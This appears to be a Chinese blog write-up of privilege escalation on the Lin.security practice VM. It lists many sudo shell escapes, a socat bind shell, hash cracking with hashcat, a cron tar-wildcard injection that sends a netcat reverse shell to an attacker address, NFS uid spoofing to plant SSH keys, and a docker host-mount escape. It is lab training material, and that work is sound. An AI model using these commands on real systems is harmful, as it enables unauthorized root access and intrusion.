Lin.security靶机提权

Lin.security靶机提权

lin.security靶机描述:在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。

账户名:bob

密码:secret

环境问题:

直接打开security会发现网络配置有些问题,无法获取到IP,需要自己先配置一下。

 

先提取权限,因为配置网络需要用到root权限。密码为secret。

sudo awk 'BEGIN {system("/bin/bash")}'

注:因为键盘布局问题,双引号和@互换位置。

 

(1).修改键盘布局。

vim /etc/default/keyboard

按i进入编辑模式,XKBLAYOUT改为us。

修改好后退出:wq,重新运行此服务。

setupcon

(2).配置网卡

vim /etc/netplan/50-cloud-init.yaml

 

将enp0s3改为ens33后退出重启即配置完成。

 

netplan apply

完成以上步骤后返回普通用户方便以后的提取测试。

su - bob

1.主机扫描。

arp-scan -l

 

2.端口扫描

nmap -A -sV -p- 192.168.254.134

看到开放了22端口。

根据账号进行远程连接。

ssh bob@192.168.254.134

 

3.sudo提权

sudo -l 查看root权限 看到有很多提权方法。

 

(1)常规方法

sudo /bin/bash

 

sudo ash

 

sudo csh
sudo dash
sudo bash
sudo sh
sudo curl
sudo zsh

(2)socat提权:

需要用到两个窗口,先在服务端建立一个端口1234的shell。

sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

 

再开一个kali终端远程连接,并启动本地的1234端口listeni。

socat FILE:`tty`,raw,echo=0 TCP:192.168.254.134:1234

提权成功。

(3)awk提权:

sudo awk 'BEGIN {system("/bin/bash")}'

 

sudo awk 'BEGIN {system("/bin/sh")}'

sudo awk 'BEGIN {system("/bin/zsh")}'

(4)ed提权:

ed命令用于启动ed文本编辑器,使用ed命令访问空缓冲区来调用bash/sh shell提权。

sudo ed
!sh

 

exit返回上级后q退出。

(5)find命令提权:

sudo find . -exec /bin/sh \; -quit

 

(6) env环境变量提权:

有些应用程序使用了system等函数调用了系统命令,但是没有使用绝对路径而是使用env命令从环境变量中进行查找,这就能通过修改环境变量来进行提权。

sudo sh -c 'cp $(which env) .; chmod +s ./env'
./env /bin/sh -p

 

(7)less、more、man提权:

sudo less /etc/passwd
!/bin/sh

 

sudo more /etc/passwd
!/bin/sh

 

sudo man man
!/bin/sh

 

(8)expect提权:

Expect是UNIX系统中用来实现自动化控制和测试的软件工具,作为Tcl脚本语言的一个扩展应用在交互式软件中,如Telnet、FTP、SSH等。

sudo expect -c "spawn /bin/sh;interact"

 

(9)perl提权:

sudo perl -e 'exec "/bin/bash";'

 

(10) ssh提权:

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

 

(11)scp提权

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:


 

(12)vi提权:

sudo vi -c ':!/bin/sh' /dev/null

 

(13)rvim提权:

sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

(14)pico提权:

sudo pico
然后按住ctrl+r和ctrl+x后输入以下命令:
reset; sh 1>&0 2>&0
执行完后再次按住ctrl+r和ctrl+x后输入要以root权限执行的命令,例如whoami。

 

(15)tclsh提权:

Tcl是用于工具命令的一个解释器,它由作为基本命令解释器嵌入到工具(比如编辑器、调试器等)中的一个库包组成。Tcl 代表了“tool command language - 工具命令语言”,程序可以把它用作自己的命令语言的基础。

sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr

 

(16)git提权:

sudo git提权与sudo vi类似,不过git使用的是帮助信息未显示完全可以输入命令打开shell

sudo git -p help config
!/bin/sh

 

q退出。

(17)script提权:

sudo script -q /dev/null

 

4.密码信息收集提权

hash爆破:

a. 查看/etc/passwd

发现语句类似root:x:0:0:root:/root:/bin/sh,x表示该用户密码hash保存在/etc/shadow中。

cat /etc/passwd

 

b.尝试爆破insecurity的密码:

字典在kali的usr/share/wordlists/rockyou.txt中

本人rockyou.txt需要先解压,,进入到目录后解压才能运行。

hashcat AzER3pBZh6WZE -m 1500 rockyou.txt

 

5.定时任务cron提取:

(1).在kali上生成反弹shell的payload:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.254.130 lport=1234 R

 

(2).payload写入到定时任务的sh文件中:

echo "mkfifo /tmp/jagoff; nc 192.168.254.130 1234 0</tmp/jagoff | /bin/sh >/tmp/jagoff 2>&1; rm /tmp/jagoff" > shell.sh && chmod +x shell.sh

echo "" > "–checkpoint-action=exec=sh shell.sh" //注入一个指定检查点动作的标志
echo "" > --checkpoint=1//注入一个标志来指定我们的检查点

我们在另外一个会话终端,远程连接靶机,并开启nc监听,成功反弹shell。

nc -lvnp 1234

6、NFS提权:

1.因为在扫描端口的时候发现开放了NFS端口:2049,查看挂载位置:

showmount -e 192.168.254.134

 

2.进行挂载:

mount -t nfs 192.168.254.134:/home/peter /tmp/

 

看到root可以直接访问root目录,但是不能将文件直接拷贝到网络共享目录中。

3.原理为:在Kali上挂载NFS共享,创建一个具有与导出(1001/1005)相同的uid/gid的新用户,然后登录该用户即可写入导出文件

groupadd -g 1005 peter

 

adduser peter -uid 1001 -gid 1005

 

ls -al /tmp

 

4.切换peter用户,创建ssh密钥进行连接,访问Lin.security上的/home/peter:

su peter
ssh-keygen

 

5.因为可以写入文件,将id_rsa.pub内容复制至authorized_keys,后放至挂载的目录下,赋权644或600

cat id_rsa.pub > /tmp/authorized_keys
chmod 700 ../.ssh/
chmod 600 chmod 600 authorized_keys

6.远程连接:

ssh -i id_rsa peter@192.168.225.192

7.连接成功后使用strace提权:

strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

sudo strace -o /dev/null /bin/sh

或者docker组提权:

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值